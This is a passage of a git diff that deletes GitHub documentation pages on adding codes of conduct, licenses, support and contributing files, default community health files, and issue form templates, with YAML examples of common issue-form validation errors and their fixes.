profiles, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories). - -You can create a default code of conduct for your organization or personal account. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -## Adding a code of conduct using a template - -{% data variables.product.github %} provides templates for common codes of conduct to help you quickly add a code of conduct to your project. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, type _CODE_OF_CONDUCT.md_. -1. Select **Choose a code of conduct template**. - ![Screenshot of a repository showing a new markdown file. A button at right, labeled "Choose a code of conduct template," is outlined in orange.](/assets/images/help/repository/code-of-conduct-tool.png) -1. On the left side of the page, select a code of conduct to preview and add to your project. -1. On the right side of the page, complete the fields to populate the selected code of conduct with the appropriate information. -1. Click **Review and submit**. -1. Review the contents of the code of conduct that's in the text area. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} - -## Adding a code of conduct manually - -If the code of conduct you want to use isn't available in the provided templates, you can manually add a code of conduct. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, type the name and extension for the file. - * To make your code of conduct visible in the repository's root directory, type _CODE_OF_CONDUCT_ in the file name field. - * To make your code of conduct visible in the repository's `docs` directory, type _docs/CODE_OF_CONDUCT_. - * To make your code of conduct visible in the repository's `.github` directory, type _.github/CODE_OF_CONDUCT_. -1. In the new file, add your custom code of conduct. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md b/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md deleted file mode 100644 index 61cbb2ab843d..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Adding a license to a repository -intro: You can include an open source license in your repository to make it easier for other people to contribute. -redirect_from: - - /articles/adding-a-license-to-a-repository - - /github/building-a-strong-community/adding-a-license-to-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Add a license to a repo ---- -If you include a detectable license in your repository, people who visit your repository will see it at the top of the repository page. To read the entire license file, click the license name (for example: [github-linguist/linguist](https://github.com/github-linguist/linguist)). - -![Screenshot of the main page of a repository. In the right sidebar, "MIT license," preceded by a law icon, is outlined in orange.](/assets/images/help/repository/repo-license-indicator.png) - -Open source licenses enable others to freely use, change, and distribute the project in your repository. For more information on repository licenses, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository). - -## Including an open source license in your repository - -<!--Dotcom version uses the license tool--> -{% ifversion fpt or ghec %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, type _LICENSE_ or _LICENSE.md_ (with all caps). -1. Under the file name, click **Choose a license template**. - - ![Screenshot of the new file form, with "LICENSE" entered in the file name field. A "Choose a license template" button is outlined in dark orange.](/assets/images/help/repository/license-tool.png) -1. On the left side of the page, under "Add a license to your project," review the available licenses, then select a license from the list. -1. Click **Review and submit**. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.propose_file_change %} - -{% endif %} - -<!--GHE version just adds a file named LICENSE or LICENSE.md--> -{% ifversion ghes %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, type _LICENSE_ or _LICENSE.md_ (with all caps). -1. On the **Edit new file** tab, paste the full text of the license you want to use. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -1. Below the commit message fields, decide whether to add your commit to the current branch or to a new branch. If your current branch is `main`, you should choose to create a new branch for your commit and then create a pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). -![Screenshot of a {% data variables.product.prodname_dotcom %} pull request showing a radio button to commit directly to the main branch or to create a new branch. New branch is selected.](/assets/images/help/repository/choose-commit-branch.png) -{% data reusables.files.propose_file_change %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors) diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md b/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md deleted file mode 100644 index 89a3e8299d32..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Adding support resources to your project -intro: You can create a SUPPORT file to let people know about ways to get help with your project. -redirect_from: - - /articles/adding-support-resources-to-your-project - - /github/building-a-strong-community/adding-support-resources-to-your-project -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Add support resources ---- - -To direct people to specific support resources, you can add a SUPPORT file to your repository's root, `docs`, or `.github` folder. When someone creates an issue in your repository, they will see a link to your project's SUPPORT file. - -![Screenshot of the new issue form. In the right sidebar, in the "Helpful resources" section, a link labeled "Support" is outlined in dark orange.](/assets/images/help/issues/support-guidelines-in-issue.png) - -You can create default support resources for your organization or personal account. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -> [!TIP] -> To help people find your support guidelines, you can link to your SUPPORT file from other places in your repository, such as your [README file](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - -## Adding support resources to your project - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, type _SUPPORT.md_ (with all caps). -1. On the **Edit new file** tab, add information about how people can get support for your project. -1. To review your SUPPORT file, click **Preview**. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md b/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md deleted file mode 100644 index e050abadcbe7..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Creating a default community health file -intro: 'You can create default community health files, such as CONTRIBUTING and CODE_OF_CONDUCT. Default files will be used for any repository owned by the account that does not contain its own file of that type.' -redirect_from: - - /articles/creating-a-default-community-health-file-for-your-organization - - /github/building-a-strong-community/creating-a-default-community-health-file-for-your-organization - - /github/building-a-strong-community/creating-a-default-community-health-file -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Community health file ---- - -## About default community health files - -Default community health files are a set of predefined files that provide guidance and templates for maintaining a healthy and collaborative open source project. These files help you automate and standardize various aspects of your project's development and community interaction, promoting transparency, good practices, and collaboration. - -You can add default community health files to a public repository called `.github` and {% data variables.product.github %} will use and display default files for any repository owned by the account that does not have its own file of that type in the following order: - -* The `.github` folder -* The root of the repository -* The `docs` folder - -If no corresponding file is found in the current repository, {% data variables.product.github %} will use the default file from the `.github` repository, following the same order of precedence. - -For example, anyone who creates an issue or pull request in a repository that does not have its own `CONTRIBUTING.md` file will see a link to the default `CONTRIBUTING.md` from the `.github` repository. However, if a repository has any files in its own `.github/ISSUE_TEMPLATE` folder, such as issue templates or a `_config.yml` file, none of the contents of the default `.github/ISSUE_TEMPLATE` folder will be used. This allows repository maintainers to override the default files with specific templates or content on per-repository basis. - -Storing the files in `.github` repository allows making changes to the defaults just in one place. Additionally, they won’t appear in the file browser or Git history of the individual repositories, and are not included in their clones, packages, or downloads. - -{% ifversion fpt or ghec %} - -As a repository maintainer, you can use the community standards checklist to see if your project meets the recommended community standards to help people use and contribute to your project. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories). - -{% endif %} - -## Supported file types - -You can create defaults in your organization or personal account for the following community health files: - -| Community health file | Description | -| --- | --- | -| {% ifversion fpt or ghec %} | -| _CODE_OF_CONDUCT.md_ | A CODE_OF_CONDUCT file defines standards for how to engage in a community. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project). | -| {% endif %} | -| _CONTRIBUTING.md_ | A CONTRIBUTING file communicates how people should contribute to your project. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors). | -| Discussion category forms | Discussion category forms customize the templates that are available for community members to use when they open new discussions in your repository. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/creating-discussion-category-forms). | -| {% ifversion fpt or ghec %} | -| _FUNDING.yml_ | A FUNDING file displays a sponsor button in your repository to increase the visibility of funding options for your open source project. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository). | -| {% endif %} | -| _GOVERNANCE.md_ | A GOVERNANCE file lets people know about how your project is governed. For example, it might discuss project roles and how decisions are made. | -| Issue and pull request templates and _config.yml_ | Issue and pull request templates customize and standardize the information you'd like contributors to include when they open issues and pull requests in your repository. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates).<br /><br />If an issue template sets a label, that label must be created in your `.github` repository and any repositories where the template will be used. | -| _SECURITY.md_ | A SECURITY file gives instructions on how to report a security vulnerability in your project and description that hyperlinks the file. For more information, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository). | -| _SUPPORT.md_ | A SUPPORT file lets people know about ways to get help with your project. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project). | - -You cannot create a default license file. License files must be added to individual repositories so the file will be included when a project is cloned, packaged, or downloaded. - -## Creating a repository for default files - -{% data reusables.repositories.create_new %} -1. Use the **Owner** drop-down menu, and select the organization or personal account you want to create default files for. - ![Screenshot of the owner menu for a new {% data variables.product.prodname_dotcom %} repository. The menu shows two options, octocat and github.](/assets/images/help/repository/create-repository-owner.png) -1. In the "Repository name" field, type **.github**. -1. Optionally, in the "Description" field, type a description. -1. Make sure the repository status is set to **Public**. A repository for default files cannot be private. -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} -1. In the repository, create one of the supported community health files. Issue templates and their configuration file must be in a folder called `.github/ISSUE_TEMPLATE`. All other supported files may be in the root of the repository, the `.github` folder, or the `docs` folder. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files). diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md b/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md deleted file mode 100644 index 4718f25d1b10..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Encouraging helpful contributions to your project with labels -intro: Apply the `good first issue` label to issues in your repository to highlight opportunities for people to contribute to your project. -redirect_from: - - /github/building-a-strong-community/helping-new-contributors-find-your-project-with-labels - - /articles/helping-new-contributors-find-your-project-with-labels - - /github/building-a-strong-community/encouraging-helpful-contributions-to-your-project-with-labels -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Encourage contributions ---- - -You can apply the `good first issue` label to issues in your public repository so that people can find them when searching by labels. For more information about searching by labels, see [AUTOTITLE](/search-github/searching-on-github/searching-issues-and-pull-requests#search-by-label). - -{% data variables.product.prodname_dotcom %} uses an algorithm to determine the most approachable issues in each repository and surface them in various places on {% data variables.product.prodname_dotcom %}. Adding the `good first issue` label can increase the likelihood that your issues are surfaced. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -{% data reusables.repositories.select-items-in-issue-or-pr-list %} -1. Above the list of issues, select the **Label** dropdown menu. - - ![Screenshot of the list of issues for a repository. In the header above the list, a dropdown menu, labeled "Label", is outlined in dark orange.](/assets/images/help/issues/issues-applying-labels-dropdown.png) -1. In the "Search filters" field, start typing `good first issue`. Click the label's name to associate it with the selected items. - -## Further reading - -* [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels) -* [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories) diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/index.md b/content/communities/setting-up-your-project-for-healthy-contributions/index.md deleted file mode 100644 index d5fdc99911b1..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Setting up your project for healthy contributions -shortTitle: Healthy contributions -intro: 'Repository maintainers can set contributing guidelines to help collaborators make meaningful, useful contributions to a project.' -redirect_from: - - /articles/helping-people-contribute-to-your-project - - /articles/setting-up-your-project-for-healthy-contributions - - /github/building-a-strong-community/setting-up-your-project-for-healthy-contributions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -children: - - /about-community-management-and-moderation - - /about-community-profiles-for-public-repositories - - /accessing-a-projects-community-profile - - /adding-a-code-of-conduct-to-your-project - - /setting-guidelines-for-repository-contributors - - /adding-a-license-to-a-repository - - /adding-support-resources-to-your-project - - /creating-a-default-community-health-file - - /encouraging-helpful-contributions-to-your-project-with-labels ---- - diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md deleted file mode 100644 index 67409e16d30a..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Setting guidelines for repository contributors -intro: You can create guidelines to communicate how people should contribute to your project. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /articles/how-do-i-set-up-guidelines-for-contributors - - /articles/setting-guidelines-for-repository-contributors - - /github/building-a-strong-community/setting-guidelines-for-repository-contributors -topics: - - Community -shortTitle: Contributor guidelines ---- -## About contributing guidelines - -To help your project contributors do good work, you can add a file with contribution guidelines to your project repository's root, `docs`, or `.github` folder. When someone opens a pull request or creates an issue, they will see a link to that file. {% ifversion fpt or ghec %}The link to the contributing guidelines also appears on your repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute).{% endif %} - -For the repository owner, contribution guidelines are a way to communicate how people should contribute. - -For contributors, the guidelines help them verify that they're submitting well-formed pull requests and opening useful issues. - -For both owners and contributors, contribution guidelines save time and hassle caused by improperly created pull requests or issues that have to be rejected and re-submitted. - -You can create default contribution guidelines for your organization or personal account. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -> [!TIP] -> Repository maintainers can set specific guidelines for issues by creating an issue or pull request template for the repository. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates). - -## Adding a _CONTRIBUTING_ file - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. Decide whether to store your contributing guidelines in your repository's root, `docs`, or `.github` directory. Then, in the filename field, type the name and extension for the file. Contributing guidelines filenames are not case sensitive. Files are rendered in rich text format if the file extension is in a supported format. For more information, see [AUTOTITLE](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents). - * To make your contributing guidelines visible in the repository's root directory, type _CONTRIBUTING_. - * To make your contributing guidelines visible in the repository's `docs` directory, type _docs/_ to create the new directory, then _CONTRIBUTING_. - * If a repository contains more than one _CONTRIBUTING_ file, then the file shown in links is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory. -1. In the new file, add contribution guidelines. These could include: - * Steps for creating good issues or pull requests. - * Links to external documentation, mailing lists, or a code of conduct. - * Community and behavioral expectations. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} - -## Examples of contribution guidelines - -If you're stumped, here are some good examples of contribution guidelines: - -* The {% data variables.product.prodname_docs %} [contribution guidelines](/contributing). -* The Ruby on Rails [contribution guidelines](https://github.com/rails/rails/blob/main/CONTRIBUTING.md). -* The Open Government [contribution guidelines](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md). - -## Further reading - -* The Open Source Guides' section [Starting an Open Source Project](https://opensource.guide/starting-a-project/){% ifversion fpt or ghec %} -* [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository) diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md deleted file mode 100644 index 58e1ab0c2507..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: About issue and pull request templates -intro: 'With issue and pull request templates, you can customize and standardize the information you''d like contributors to include when they open issues and pull requests in your repository.' -redirect_from: - - /articles/about-issue-and-pull-request-templates - - /github/building-a-strong-community/about-issue-and-pull-request-templates -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: About templates ---- - -After you create issue and pull request templates in your repository, contributors can use the templates to open issues or describe the proposed changes in their pull requests according to the repository's contributing guidelines. For more information about adding contributing guidelines to a repository, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors). - -You can create default issue and pull request templates for your organization or personal account. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -## Issue templates - -When you create issue templates for your repository using the issue template builder or with issue forms, contributors can select the appropriate template when they open new issues in the repository. - -![Screenshot of the new issue page, with multiple templates to choose from.](/assets/images/help/issues/new-issue-page-with-multiple-templates.png) - -Issue templates are helpful when you want to provide guidance for opening issues while allowing contributors to specify the content of their issues. If you want contributors to provide specific, structured information when they open issues, issue forms help ensure that you receive your desired information. - -Using the template builder, you can specify a title and description for each template, add the template content, and either commit the template to the default branch or open a pull request in the repository. The template builder automatically adds the YAML front matter markup that is required for the template to show on the new issue page. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository). - -With issue forms, you can create templates that have web form fields using the {% data variables.product.prodname_dotcom %} form schema. When a contributor opens an issue using an issue form, the form inputs are converted to a standard markdown issue comment. You can specify different input types and set inputs as required to help contributors open actionable issues in your repository. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms) and [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms). - -{% data reusables.repositories.issue-template-config %} For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#configuring-the-template-chooser). - -Issue templates are stored on the repository's default branch, in a hidden `.github/ISSUE_TEMPLATE` directory. If you create a template in another branch, it will not be available for collaborators to use. Issue template filenames are not case sensitive, and need a _.md_ extension. Issue templates created with issue forms need a _.yml_ extension. {% data reusables.repositories.valid-community-issues %} - -It is possible to manually create a single issue template in Markdown using the legacy issue template workflow, and project contributors will automatically see the template's contents in the issue body. However, we recommend using the upgraded multiple issue template builder or issue forms to create issue templates. For more information about the legacy workflow, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository). - -{% data reusables.repositories.security-guidelines %} - -## Pull request templates - -When you add a pull request template to your repository, project contributors will automatically see the template's contents in the pull request body. - -You must create templates on the repository's default branch. Templates created in other branches are not available for collaborators to use. You can store your pull request template in the repository's visible root directory, the `docs` folder, or the hidden `.github` directory. Pull request template filenames are not case sensitive, and can have an extension such as _.md_ or _.txt_. - -For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository). diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md deleted file mode 100644 index f330bd643159..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md +++ /dev/null @@ -1,664 +0,0 @@ ---- -title: Common validation errors when creating issue forms -intro: 'You may see some of these common validation errors when creating, saving, or viewing issue forms.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community ---- - -<!--UI-LINK: We link to individual anchors within this file from the issue template editor when the given YAML error is thrown. Links to and anchors within this file should be preserved or should be updated in github/github if they are changed --> -{% data reusables.community.issue-forms-beta %} - -## Required top level key `name` is missing - -The template does not contain a `name` field, which means it is not clear what to call your issue template when giving users a list of options. - -### Example of "required top level key `name` is missing" error - -```yaml -description: "Thank you for reporting a bug!" -... -``` - -The error can be fixed by adding `name` as a key. - -```yaml -name: "Bug report" -description: "Thank you for reporting a bug!" -... -``` - -## `key` must be a string - -This error message means that a permitted key has been provided, but its value cannot be parsed as the data type is not supported. - -### Example of "`key` must be a string" error - -The `description` below is being parsed as a Boolean, but it should be a string. - -```yaml -name: "Bug report" -description: true -... -``` - -The error can be fixed by providing a string as the value. Strings may need to be wrapped in double quotes to be successfully parsed. For example, strings that contain `'` must be wrapped in double quotes. - -```yaml -name: "Bug report" -description: "true" -... -``` - -Empty strings, or strings consisting of only whitespaces, are also not permissible when the field expects a string. - -```yaml -name: "" -description: "File a bug report" -assignees: " " -... -``` - -The error can be fixed by correcting the value to be a non-empty string. If the field is not required, you should delete the key-value pair. - -```yaml -name: "Bug Report" -description: "File a bug report" -... -``` - -## `input` is not a permitted key - -An unexpected key was supplied at the top level of the template. For more information about which top-level keys are supported, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms#top-level-syntax). - -### Example of "`input` is not a permitted key" error - -```yaml -name: "Bug report" -hello: world -... -``` - -The error can be fixed by removing the unexpected keys. - -```yaml -name: "Bug report" -... -``` - -## Forbidden keys - -YAML parses certain strings as `Boolean` values. To avoid this, we have explicitly forbidden the usage of the following keys: - -`y`, `Y`, `yes`, `Yes`, `YES`, `n`, `N`, `no`, `No`, `NO`, `true`, `True`, `TRUE`, `false`, `False`, `FALSE`, `on`, `On`, `ON`, `off`, `Off`, `OFF` - -The error can be fixed by removing the forbidden keys. - -## Body must contain at least one non-markdown field - -Issue forms must accept user input, which means that at least one of its fields must contain a user input field. A `markdown` element is static text, so a `body` array cannot contain only `markdown` elements. - -### Example of "body must contain at least one non-markdown field" error - -```yaml -name: "Bug report" -body: -- type: markdown - attributes: - value: "Bugs are the worst!" -``` - -The error can be fixed by adding non-markdown elements that accept user input. - -```yaml -name: "Bug report" -body: -- type: markdown - attributes: - value: "Bugs are the worst!" -- type: textarea - attributes: - label: "What's wrong?" -``` - -## Body must have unique ids - -If using `id` attributes to distinguish multiple elements, each `id` attribute must be unique. - -### Example of "body must have unique ids" error - -```yaml -name: "Bug report" -body: -- type: input - id: name - attributes: - label: First name -- type: input - id: name - attributes: - label: Last name -``` - -The error can be fixed by changing the `id` for one of these inputs, so that every `input` field has a unique `id` attribute. - -```yaml -name: "Bug report" -body: -- type: input - id: name - attributes: - label: First name -- type: input - id: surname - attributes: - label: Last name -``` - -## Body must have unique labels - -When there are multiple `body` elements that accept user input, the `label` attribute for each user input field must be unique. - -### Example of "body must have unique labels" error - -```yaml -name: "Bug report" -body: -- type: textarea - attributes: - label: Name -- type: textarea - attributes: - label: Name -``` - -The error can be fixed by changing the `label` attribute for one of the input fields to ensure that each `label` is unique. - -```yaml -name: "Bug report" -body: -- type: textarea - attributes: - label: Name -- type: textarea - attributes: - label: Operating System -``` - -Input fields can also be differentiated by their `id` attribute. If duplicate `label` attributes are required, you can supply at least one `id` to differentiate two elements with identical labels. - -```yaml -name: "Bug report" -body: -- type: textarea - id: name_1 - attributes: - label: Name -- type: textarea - id: name_2 - attributes: - label: Name -``` - -`id` attributes are not visible in the issue body. If you want to distinguish the fields in the resulting issue, you should use distinct `label` attributes. - -## Labels are too similar - -Similar labels may be processed into identical references. If an `id` attribute is not provided for an `input`, the `label` attribute is used to generate a reference to the `input` field. To do this, we process the `label` by leveraging the Rails [parameterize](https://www.rubydoc.info/docs/rails/ActiveSupport/Inflector#parameterize-instance_method) method. In some cases, two labels that are distinct can be processed into the same parameterized string. - -### Example of "labels are too similar" error - -```yaml -name: "Bug report" -body: -- type: input - attributes: - label: Name? -- type: input - id: name - attributes: - label: Name??????? -``` - -The error can be fixed by adding at least one differentiating alphanumeric character, `-`, or `_` to one of the clashing labels. - -```yaml -name: "Bug report" -body: -- type: input - attributes: - label: Name? -- type: input - attributes: - label: Your name -``` - -The error can also be fixed by giving one of the clashing labels a unique `id`. - -```yaml -name: "Bug report" -body: -- type: input - attributes: - label: Name? -- type: input - id: your-name - attributes: - label: Name??????? -``` - -## Checkboxes must have unique labels - -When a `checkboxes` element is present, each of its nested labels must be unique among its peers, as well as among other input types. - -### Example of "checkboxes must have unique labels" error - -```yaml -name: "Bug report" -body: -- type: textarea - attributes: - label: Name -- type: checkboxes - attributes: - options: - - label: Name -``` - -The error can be fixed by changing the `label` attribute for one of these inputs. - -```yaml -name: "Bug report" -body: -- type: textarea - attributes: - label: Name -- type: checkboxes - attributes: - options: - - label: Your name -``` - -Alternatively, you can supply an `id` to any clashing top-level elements. Nested checkbox elements do not support the `id` attribute. - -```yaml -name: "Bug report" -body: -- type: textarea - id: name_1 - attributes: - label: Name -- type: checkboxes - attributes: - options: - - label: Name -``` - -`id` attributes are not visible in the issue body. If you want to distinguish the fields in the resulting issue, you should use distinct `label` attributes. - -## Body[i]: required key type is missing - -Each body block must contain the key `type`. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the zero-indexed index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: required key type is missing" error - -```yaml -body: -- attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -``` - -The error can be fixed by adding the key `type` with a valid input type as the value. For the available `body` input types and their syntaxes, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema#keys). - -```yaml -body: -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -``` - -## Body[i]: `x` is not a valid input type - -One of the body blocks contains a type value that is not one of the [permitted types](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema#keys). - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `x` is not a valid input type" error - -```yaml -body: -- type: x - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -``` - -The error can be fixed by changing `x` to one of the valid types. - -```yaml -body: -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -``` - -## Body[i]: required attribute key `value` is missing - -One of the required `value` attributes has not been provided. The error occurs when a block does not have an `attributes` key or does not have a `value` key under the `attributes` key. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: required attribute key `value` is missing" error - -```yaml -body: -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -- type: markdown -``` - -The error in this example can be fixed by adding `value` as a key under `attributes` in the second list element of `body`. - -```yaml -body: -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -- type: markdown - attributes: - value: "This is working now!" -``` - -## Body[i]: label must be a string - -Within its `attributes` block, a value has the wrong data type. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: label must be a string" error - -The `label` below is being parsed as a Boolean, but it should be a string. - -```yaml -body: -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -- type: textarea - attributes: - label: Bug Description -- type: textarea - attributes: - label: true -``` - -The error can be fixed by supplying a string value for `label`. If you want to use a `label` value that may be parsed as a Boolean, integer, or decimal, you should wrap the value in quotes. For example, `"true"` or `"1.3"` instead of `true` or `1.3`. - -```yaml -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -- type: textarea - attributes: - label: Bug Description -- type: textarea - attributes: - label: Environment Details -``` - -Empty strings, or strings consisting of only whitespaces, are not permissible when an attribute expects a string. For example, `""` or `" "` are not allowed. - -If the attribute is required, the value must be a non-empty string. If the field is not required, you should delete the key-value pair. - -```yaml -body: -- type: input - attributes: - label: "Name" -``` - -## Body[i]: `id` can only contain numbers, letters, -, _ - -`id` attributes can only contain alphanumeric characters, `-`, and `_`. Your template may include non-permitted characters, such as whitespace, in an `id`. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `id` can only contain numbers, letters, -, _" error - -```yaml -name: "Bug report" -body: -- type: input - id: first name - attributes: - label: First name -``` - -The error can be fixed by ensuring that whitespaces and other non-permitted characters are removed from `id` values. - 